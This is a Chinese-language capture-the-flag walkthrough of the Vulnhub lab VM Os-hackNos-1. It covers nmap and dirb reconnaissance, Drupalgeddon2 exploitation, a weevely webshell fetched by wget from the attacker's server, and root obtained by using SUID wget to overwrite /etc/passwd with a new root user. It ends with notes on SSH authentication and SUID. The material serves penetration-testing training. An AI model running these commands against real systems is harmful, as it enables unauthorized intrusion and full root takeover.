Vulnhub 靶场 Os-hackNos WP
About Os-hackNos
描述
- Difficulty : Easy to Intermediate
- Flag : 2 Flag first user And second root
- Learning : exploit | Web Application | Enumeration | Privilege Escalation
- Website : www.hackNos.com
- mail : contact@hackNos.com
下载地址
Os-hackNos-1.ova (Size: 827 MB)
- Download: https://drive.google.com/open?id=1IOpXibf-A9iSwoG4IW8HdXFvDBFoy7N1
- Download (Mirror): https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
- Download (Torrent): https://download.vulnhub.com/hacknos/Os-hackNos-1.ova.torrent ( Magnet)
屏幕截图
环境搭建
下载好ova镜像文件后直接导入Virtual Box中,将USB设备关闭,把网络链接🔗模式改成Host-Only(出于安全原因),官方警告如下:
Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for "protecting yourself and your network. If you understand the risks, please download!
同时,将Kali Linux攻击机的网络链接模式也改成Host-Only,保证两台主机处于同一网段下。
信息收集
主机发现
首先查看一下攻击机Kali Linux的ip地址,从返回结果得到ip地址为:10.0.2.15
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe7c:8e8e prefixlen 64 scopeid 0x20<link>
ether 08:00:27:7c:8e:8e txqueuelen 1000 (Ethernet)
RX packets 262425 bytes 40563341 (38.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 402574 bytes 31287087 (29.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 157 bytes 11287 (11.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 157 bytes 11287 (11.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
然后使用nmap扫描同网段下的存活主机,命令如下:
nmap -sn 10.0.2.0/24
经过扫描,在同网段下还发现了ip地址为10.0.2.4的存活主机,不难推断就是我们的靶机。
Kali Linux:10.0.2.15
Os-hackNos-1:10.0.2.4
端口扫描
拿到靶机的ip地址之后,使用nmap扫描探测靶机的开放端口,命令如下:
nmap -sV -p- 10.0.2.4
经过端口扫描之后,发现目标主机开放了22和80端口。
目录扫描
访问80端口查看,发现80端口运行了http服务,但是没有其他有价值的利用信息。于是使用dirb对80端口进行目录扫描,命令如下:
dirb http://10.0.2.4
经过目录扫描发现了目标主机存在以下目录/文件:
http://10.0.2.4/index.html
http://10.0.2.4/server-status
http://10.0.2.4/drupal/
http://10.0.2.4/drupal/index.php
http://10.0.2.4/drupal/misc/
http://10.0.2.4/drupal/modules/
http://10.0.2.4/drupal/profiles/
http://10.0.2.4/drupal/robots.txt
http://10.0.2.4/drupal/scripts/
http://10.0.2.4/drupal/sites/
http://10.0.2.4/drupal/themes/
http://10.0.2.4/drupal/web.config
http://10.0.2.4/drupal/xmlrpc.php
访问一下:http://10.0.2.4/drupal/,发现目标主机运行了drupal服务,然后使用whatweb工具确定一下drupal的版本,大版本号为drupal 7。
漏洞发现
使用Google搜索github上公开的drupal漏洞的相关exp,搜索结果如下:
这里我们使用第二个exp,该exp针对Drupal 8.5或以下版本有效,执行成功后返回一个php的shell。
漏洞利用
获取exp
首先在github上下载该exp,命令如下:
git clone https://github.com/dreadlocked/Drupalgeddon2.git
在运行该exp前,需要预装依赖包highline
gem install highline
执行exp
./drupalgeddon2.rb http://10.0.2.4/drupal
可以看到我们成功的获取到了shell
查看权限和用户
接下来,我们查看一下当前shell的权限。发现是www-data权限。
hackNos>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
然后查看一下存在的用户,可以看到除了root和www-data用户之外还有一个普通权限用户james
hackNos>> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
james:x:1000:1000:james,,,:/home/james:/bin/bash
权限提升
生成木马
之后,使用weevely生成小马,然后将小马上传至靶机
#kali生成小马
weevely generate cmd ./xiaoma.php
#kali开启HTTP服务
python -m SimpleHTTPServer
#上传小马至靶机
wget http://10.0.2.15:8000/xiaoma.php
weevely连接小马
weevely http://10.0.2.4/drupal/xiaoma.php cmd
Get No.1 Flag
之后浏览用户目录,在/home/james目录下发现了user.txt,也就是第一个flag
在user.txt中,最后有一串MD5-HASH字符串,猜测可能是什么密码,解密一下,失败。
bae11ce4f67af91fa58576c1da2aad4b
浏览网站目录
然后浏览一下网站目录,在/var/www/html目录下发现了一个alexander.txt文件,查看一下发现了一串base64编码,解密后得到brainfuck加密后的字符串,然后再进行brainfuck解密拿到密码。
james:Hacker@4514
切换用户
拿到james的密码后尝试切换用户,但是没有tty终端和密码请求程序,不能切换用户。
www-data@hackNos:/var/www/html $ su james
su: must be run from a terminal
www-data@hackNos:/var/www/html $ sudo su
sudo: no tty present and no askpass program specified
SUID提权
既然不能切换用户,我们就提个权看看吧。首先检查一下哪些命令有suid权限,有suid权限的命令可以以文件拥有者的权限执行。
www-data@hackNos:/var/www/html $ audit_suidsgid -only-suid /
+---------------------------------------------+
| /usr/lib/dbus-1.0/dbus-daemon-launch-helper |
| /usr/lib/openssh/ssh-keysign |
| /usr/lib/i386-linux-gnu/lxc/lxc-user-nic |
| /usr/lib/eject/dmcrypt-get-device |
| /usr/lib/snapd/snap-confine |
| /usr/lib/policykit-1/polkit-agent-helper-1 |
| /usr/bin/pkexec |
| /usr/bin/at |
| /usr/bin/newgidmap |
| /usr/bin/gpasswd |
| /usr/bin/sudo |
| /usr/bin/newgrp |
| /usr/bin/newuidmap |
| /usr/bin/wget |
| /usr/bin/passwd |
| /usr/bin/chsh |
| /usr/bin/chfn |
| /bin/ping6 |
| /bin/umount |
| /bin/ntfs-3g |
| /bin/mount |
| /bin/ping |
| /bin/su |
| /bin/fusermount |
+---------------------------------------------+
或者使用下面的命令查找既为root用户,也拥有SUID权限的程序;
find / -user root -perm -4000 -print 2>/dev/null
经过上面的查询,我们发现wget命令可以用普通用户以root权限执行,那么我们就可以利用它修改passwd文件,加入root权限用户。
生成密码哈希
www-data@hackNos:/var/www/html $ openssl passwd -1 -salt salt test
$1$salt$No6gqynaE4urT3jScs91F/
下载passwd文件
file_download passwd /root/passwd
写入特权用户
echo 'test:$1$salt$No6gqynaE4urT3jScs91F/:0:0::/root/:/bin/bash' >> passwd
替换passwd文件
使用wget -O命令替代靶机原来的passwd文件(suid提权意义所在)
wget http://10.0.2.15:8000/passwd -O passwd
查看一下是否存在写入的test用户
www-data@hackNos:/etc $ tail -1 passwd
test:$1$salt$No6gqynaE4urT3jScs91F/:0:0::/root/:/bin/bash
切换用户
www-data@hackNos:/etc $ su test
su: must be run from a terminal
哦吼,难顶。这里需要一个标准shell,因为PHPshell无法执行交互行为,使用su命令会请求密码输入(askpass)
这里直接使用meterpreter即可。
meterpreter
root@kali:~# msfconsole
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 10.0.2.4
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
然后使用python获取标准shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Get No.2 Flag
获取标准shell之后,切换test用户,即为root权限。然后在/root目录下发现了root.txt,即为第二个flag,至此整个实验完成。
总结
SSH 认证过程
简要过程如下
- Client端向Server端发起SSH连接请求。
- Server端向Client端发起版本协商。
- 协商结束后Server端发送Host Key公钥 Server Key公钥,随机数等信息。到这里所有通信是不加密的。
- Client端返回确认信息,同时附带用公钥加密过的一个随机数,用于双方计算Session Key。
- 进入认证阶段。从此以后所有通信均加密。
- 认证成功后,进入交互阶段。
Linux 特殊权限 SUID
SUID
当 s 出现在文件拥有者的 x 权限上时,就被称为 SETUID BITS 或 SETUID ,其特点如下:
- SUID 权限仅对二进制可执行文件有效
- 如果执行者对于该二进制可执行文件具有 x 的权限,执行者将具有该文件的所有者的权限
- 本权限仅在执行该二进制可执行文件的过程中有效
我们来看 tester 用户是如何利用 SUID 权限完成密码修改的:
- test 用户对于 /usr/bin/passwd 这个程序具有执行权限,因此可以执行 passwd 程序
- passwd 程序的所有者为 root
- test 用户执行 passwd 程序的过程中会暂时获得 root 权限
- 因此 test 用户在执行 passwd 程序的过程中可以修改 /etc/shadow 文件
但是如果由 test 用户执行 cat 命令去读取 /etc/shadow 文件确是不行的,原因很清楚,test 用户没有读 /etc/shadow 文件的权限,同时 cat 程序也没有被设置 SUID。